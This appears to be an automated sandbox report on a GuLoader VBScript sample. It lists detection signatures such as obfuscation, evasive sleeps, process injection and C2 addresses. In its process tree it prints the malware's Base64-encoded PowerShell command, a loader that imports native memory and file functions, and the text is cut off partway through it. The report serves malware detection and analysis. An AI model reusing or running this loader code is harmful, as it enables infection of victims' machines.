Edit tour
Windows
Analysis Report
IMG 0045434.vbs
Overview
General Information
Detection
GuLoader
Score: | 88 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
C2 URLs / IPs found in malware configuration
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Sigma detected: Suspicious Execution of Powershell with Base64
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Classification
- System is w10x64
- wscript.exe (PID: 6892 cmdline:
C:\Windows \System32\ wscript.ex e "C:\User s\user\Des ktop\IMG 0 045434.vbs " MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) - powershell.exe (PID: 5612 cmdline:
C:\Windows \SysWOW64\ WindowsPow erShell\v1 .0\powersh ell.exe" - EncodedCom mand "IwBi AHIAaQBjAG sAIABMAGkA bABsAGkAdA BoACAAUABv AHMAdAA4AC AAVABhAGMA dABpAGwAZQ BzAGkAIABS AEEARABJAE MAVQAgAFAA YQByAHIAYQ BmAG8AdQBy AGEAIABTAG UAcgB2AGIA agBlAHIANA AgAEIAdQB0 AHQAdwBvAD gAIABnAGgA ZQBuAHQAIA BPAE0AUwBL ACAAUwBvAG 4AZwBpAHMA aABtAGkAMw AgAEMAVQBQ AFAARQBSAF MARABFAFgA IABTAHIAZw BlADkAIABJ AG4AZwBuAH UAMQAgAEsA YQBuAGQAZQ BsAGEAYgBy ADMAIABTAG EAcgBvAG4A aQBjACAATQ BJAEsARQBZ AE4ATwBUAE gAIABOAEkA VABSAEUAUg BJAE4AIABU AEEAQwBLAC AAUABJAEcA UABFAE4AQg AgAEIAZQB0 AGEAcABhAH IAdAA1ACAA ZwBlAG4AaQ BvAGgAIABV AGcAZQBzAG sAcgBpAGYA IABCAGUAcw BsAGEAZwBz AG0ANwAgAE 4AbwBuAHAA cwB5AGMAaA A5ACAAcwBl AG4AcwBpAH QAaQB6ACAA DQAKAA0ACg ANAAoAQQBk AGQALQBUAH kAcABlACAA LQBUAHkAcA BlAEQAZQBm AGkAbgBpAH QAaQBvAG4A IABAACIADQ AKAHUAcwBp AG4AZwAgAF MAeQBzAHQA ZQBtADsADQ AKAHUAcwBp AG4AZwAgAF MAeQBzAHQA ZQBtAC4AUg B1AG4AdABp AG0AZQAuAE kAbgB0AGUA cgBvAHAAUw BlAHIAdgBp AGMAZQBzAD sADQAKAHAA dQBiAGwAaQ BjACAAcwB0 AGEAdABpAG MAIABjAGwA YQBzAHMAIA BTAGwAdQBk AHIAZQBjAG gAMQANAAoA ewANAAoAWw BEAGwAbABJ AG0AcABvAH IAdAAoACIA bgB0AGQAbA BsAC4AZABs AGwAIgApAF 0AcAB1AGIA bABpAGMAIA BzAHQAYQB0 AGkAYwAgAG UAeAB0AGUA cgBuACAAaQ BuAHQAIABO AHQAQQBsAG wAbwBjAGEA dABlAFYAaQ ByAHQAdQBh AGwATQBlAG 0AbwByAHkA KABpAG4AdA AgAFMAbAB1 AGQAcgBlAG MAaAA2ACwA cgBlAGYAIA BJAG4AdAAz ADIAIABWAE UAUgBTAEEA TABFAFIATg AsAGkAbgB0 ACAARgBvAH IAYgBpAHMA dAByAGkAbg AsAHIAZQBm ACAASQBuAH QAMwAyACAA UwBsAHUAZA ByAGUAYwBo ACwAaQBuAH QAIABSAGUA ZgByAG0AYQ BuACwAaQBu AHQAIABTAG wAdQBkAHIA ZQBjAGgANw ApADsADQAK AFsARABsAG wASQBtAHAA bwByAHQAKA AiAGsAZQBy AG4AZQBsAD MAMgAuAGQA bABsACIAKQ BdAHAAdQBi AGwAaQBjAC AAcwB0AGEA dABpAGMAIA BlAHgAdABl AHIAbgAgAE kAbgB0AFAA dAByACAAQw ByAGUAYQB0 AGUARgBpAG wAZQBBACgA cwB0AHIAaQ BuAGcAIABN AG8AbgBzAH QAcgAsAHUA aQBuAHQAIA BNAGUAbABs AGUAOAAsAG kAbgB0ACAA TgBvAG4AcA BlAHIAYwBl AHAALABpAG 4AdAAgAFMA bAB1AGQAcg BlAGMAaAAw ACwAaQBuAH QAIABIAEEA QgBBAE4ALA BpAG4AdAAg AEIAQQBBAE 4ALABpAG4A dAAgAE4AUg BJAE4ARwBT ACkAOwANAA oAWwBEAGwA bABJAG0AcA BvAHIAdAAo ACIAawBlAH IAbgBlAGwA MwAyAC4AZA BsAGwAIgAp AF0AcAB1AG IAbABpAGMA IABzAHQAYQ B0AGkAYwAg AGUAeAB0AG UAcgBuACAA aQBuAHQAIA BSAGUAYQBk AEYAaQBsAG UAKABpAG4A dAAgAEYAbw ByAGIAaQBz AHQAcgBpAG 4AMAAsAHUA aQBuAHQAIA BGAG8AcgBi AGkAcwB0AH IAaQBuADEA LABJAG4AdA BQAHQAcgAg AEYAbwByAG IAaQBzAHQA cgBpAG4AMg AsAHIAZQBm ACAASQBuAH QAMwAyACAA RgBvAHIAYg BpAHMAdABy AGkAbgAzAC wAaQBuAHQA IABGAG8Acg BiAGkAcwB0 AHIAaQBuAD QAKQA7AA0A CgBbAEQAbA BsAEkAbQBw AG8AcgB0AC gAIgB1AHMA ZQByADMAMg AuAGQAbABs ACIAKQBdAH AAdQBiAGwA aQBjACAAcw B0AGEAdABp AGMAIABlAH gAdABlAHIA bgAgAEkAbg B0AFAAdABy ACAAQwBhAG wAbABXAGkA bgBkAG8Adw BQAHIAbwBj AFcAKABJAG 4AdABQAHQA cgAgAEYAbw